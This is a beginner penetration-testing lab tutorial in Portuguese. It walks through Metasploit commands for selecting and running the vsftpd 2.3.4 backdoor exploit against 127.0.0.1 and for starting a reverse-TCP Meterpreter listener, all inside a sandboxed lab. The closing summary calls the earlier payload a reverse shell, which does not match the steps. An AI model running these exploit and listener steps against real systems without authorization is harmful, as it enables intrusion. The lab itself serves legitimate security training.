Introdução
Neste laboratório, você aprenderá os fundamentos dos testes de penetração usando o Kali Linux em um ambiente controlado na VM do LabEx. O foco está em utilizar o poderoso Metasploit Framework para identificar vulnerabilidades, configurar payloads, executar exploits e interagir com sistemas comprometidos através de uma sessão Meterpreter. Projetado para iniciantes, este laboratório orienta você passo a passo pelas técnicas essenciais de cibersegurança de maneira segura e estruturada. Ao abrir o terminal, você será conectado automaticamente ao shell do contêiner Kali Linux, pronto para começar a praticar sem a necessidade de iniciar ou entrar no contêiner manualmente.
Iniciando o Metasploit Framework
Nesta primeira etapa, você iniciará o Metasploit Framework, uma ferramenta fundamental para testes de penetração no Kali Linux. Esta etapa é essencial, pois prepara o ambiente para identificar e explorar vulnerabilidades nas etapas seguintes.
Ao abrir o terminal na VM do LabEx, você será conectado automaticamente ao shell do contêiner Kali Linux. Não há necessidade de iniciar o contêiner ou entrar no shell manualmente; o ambiente já está configurado para você.
Antes de usar o Metasploit, você precisa garantir que ele esteja instalado no contêiner Kali Linux. Primeiro, atualize a lista de pacotes digitando o seguinte comando no terminal e pressionando Enter:
apt update
Em seguida, instale o Metasploit Framework. Esta instalação pode levar alguns minutos, portanto, aguarde a conclusão.
apt install -y metasploit-framework
Uma vez instalado, inicie o console do Metasploit digitando o seguinte comando e pressionando Enter:
msfconsole
Na primeira vez que você executar este comando, pode levar um momento para inicializar, pois ele configura o banco de dados e carrega os módulos. Você verá um banner em arte ASCII e um prompt semelhante a este quando o Metasploit iniciar:
Metasploit Framework
...
msf6 >
O prompt msf6 > indica que você está agora dentro do console do Metasploit, pronto para interagir com o framework. Não saia do console, pois você o usará na próxima etapa para pesquisar e selecionar um exploit.
Pesquisando e Selecionando um Exploit
Agora que você iniciou o Metasploit Framework, a próxima etapa é pesquisar e selecionar um exploit. Um exploit é um trecho de código que tira proveito de uma vulnerabilidade de software para causar um comportamento não intencional, como obter acesso não autorizado.
Como você já está no console do Metasploit (com o prompt msf6 >), vamos pesquisar um exploit relacionado ao FTP (File Transfer Protocol), um serviço comum que pode apresentar vulnerabilidades. Digite o seguinte comando e pressione Enter:
search ftp
Este comando lista exploits e módulos auxiliares relacionados ao FTP. A saída mostrará uma tabela com os módulos correspondentes.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
Para este laboratório, usaremos o exploit vsftpd_234_backdoor. Para selecioná-lo, use o comando use seguido pelo nome do exploit.
use exploit/unix/ftp/vsftpd_234_backdoor
Após selecionar o exploit, seu prompt mudará para incluir o nome do exploit, indicando que ele agora é o módulo ativo.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Para visualizar informações detalhadas sobre o exploit selecionado, incluindo suas opções e requisitos, digite o comando info.
info
A saída fornece detalhes como a plataforma, arquitetura e alvos disponíveis.
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
Você selecionou o exploit com sucesso. Na próxima etapa, você configurará um payload para este exploit.
Nota: O Labby não consegue obter os registros de operação no shell do msf, as etapas a seguir não serão verificadas.
Configurando o Exploit e o Payload
Com o exploit selecionado, você agora precisa configurar suas opções e definir um payload. Um payload é o código que será executado no sistema de destino após o sucesso do exploit. Para este laboratório, você configurará um payload de shell de comando interativo que permite executar comandos no sistema de destino.
Importante: Antes de definir um payload, é crucial verificar quais payloads são compatíveis com o exploit selecionado. Use o seguinte comando para ver todos os payloads compatíveis:
show payloads
Isso exibirá uma lista de payloads que funcionam com o exploit vsftpd_234_backdoor. Você deve ver apenas um payload compatível: cmd/unix/interact.
Primeiro, defina o payload. Usaremos o shell de comando interativo compatível com este exploit. O nome do payload cmd/unix/interact segue uma estrutura específica: <arquitetura>/<plataforma>/<tipo>. Aqui, cmd indica uma arquitetura de shell de comando, unix especifica a plataforma de destino e interact significa que ele fornecerá uma sessão interativa.
set payload cmd/unix/interact
Você verá uma mensagem de confirmação.
payload => cmd/unix/interact
Em seguida, você precisa configurar as opções do exploit. A opção RHOST (Remote Host) especifica o endereço IP da máquina de destino. Para esta simulação, vamos defini-lo como 127.0.0.1.
set RHOST 127.0.0.1
Nota Importante: Ao contrário dos payloads de reverse shell, o payload cmd/unix/interact não requer configurações de LHOST ou LPORT. Este payload estabelece uma sessão de comando interativa diretamente com o destino.
Para verificar todas as configurações, use o comando show options.
show options
Isso exibe uma tabela de opções para o exploit. Verifique se o RHOST está definido corretamente.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Seu exploit e payload agora estão configurados e prontos para execução na próxima etapa.
Executando o Exploit
Tendo configurado o exploit e o payload, você está pronto para executá-lo. O comando exploit instrui o Metasploit a lançar o ataque contra o destino especificado (RHOST).
No seu console do Metasploit, simplesmente digite o seguinte comando e pressione Enter:
exploit
O Metasploit tentará executar o exploit. Como não há um serviço VSFTPD vulnerável real rodando em 127.0.0.1 neste ambiente de laboratório, o exploit falhará. Isso é esperado e demonstra o processo de lançamento de um ataque.
A saída mostrará que o Metasploit tentou se conectar ao serviço FTP de destino, mas falhou porque o serviço não está em execução:
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
Nota: Com o payload cmd/unix/interact, você não veria um listener de reverse shell sendo iniciado. Em vez disso, este payload tentaria estabelecer uma sessão de comando interativa direta com o serviço FTP de destino, caso ele estivesse vulnerável e acessível.
A mensagem Exploit completed, but no session was created confirma a falha. Em um cenário bem-sucedido com um serviço VSFTPD vulnerável, isso estabeleceria uma sessão de shell de comando interativa, permitindo que você execute comandos diretamente no sistema de destino. Esta etapa ensina o comando fundamental para lançar um exploit, que é uma parte central do fluxo de trabalho de testes de penetração.
Configurando um Listener Meterpreter
Nesta etapa final, você aprenderá a configurar um listener para um payload Meterpreter. O Meterpreter é um payload avançado e rico em recursos que fornece um shell interativo no sistema de destino. Em vez de lançar um exploit, você usará o módulo exploit/multi/handler para aguardar conexões de entrada. Isso é útil quando um exploit é entregue por outros meios (por exemplo, um arquivo malicioso) e você precisa capturar a conexão reversa.
Primeiro, mude para o módulo multi/handler.
use exploit/multi/handler
Seu prompt mudará para refletir o novo módulo.
msf6 exploit(multi/handler) >
Em seguida, defina um payload Meterpreter. Usaremos um projetado para sistemas Linux. O nome do payload linux/x86/meterpreter/reverse_tcp segue uma estrutura lógica: <plataforma>/<arquitetura>/<tipo>/<protocolo>. Ele especifica uma plataforma Linux, arquitetura x86, um tipo de payload Meterpreter e um protocolo de conexão TCP reversa.
set payload linux/x86/meterpreter/reverse_tcp
Agora, configure as opções do listener, LHOST e LPORT, exatamente como você fez anteriormente.
set LHOST 127.0.0.1
Nota: Você pode ver uma mensagem de aviso sobre a vinculação a um endereço de loopback. Isso é normal ao usar localhost (127.0.0.1) e pode ser ignorado com segurança para este laboratório.
set LPORT 4444
Finalmente, inicie o listener usando o comando exploit.
exploit
O Metasploit iniciará um listener no IP e porta especificados, aguardando a conexão de uma sessão Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
O console permanecerá ativo, aguardando uma conexão. Em um cenário real, se uma máquina de destino executasse o payload Meterpreter correspondente, uma sessão seria estabelecida aqui. Como nenhum destino se conectará neste laboratório, você pode parar o listener pressionando Ctrl + C.
Para sair do console do Metasploit, digite exit e pressione Enter.
Resumo
Neste laboratório, você aprendeu as etapas fundamentais dos testes de penetração usando o Kali Linux e o Metasploit Framework. Você começou iniciando o Metasploit, pesquisou e selecionou um exploit, configurou tanto o exploit quanto um payload de reverse shell e executou o ataque em um ambiente simulado. Você também aprendeu como configurar um listener independente para um payload Meterpreter avançado. Essas etapas fornecem uma introdução prática ao fluxo de trabalho central de identificação de vulnerabilidades, preparação de payloads e compreensão do processo de exploração. Ao seguir esta abordagem estruturada, você obteve experiência prática com ferramentas e técnicas essenciais de cibersegurança.


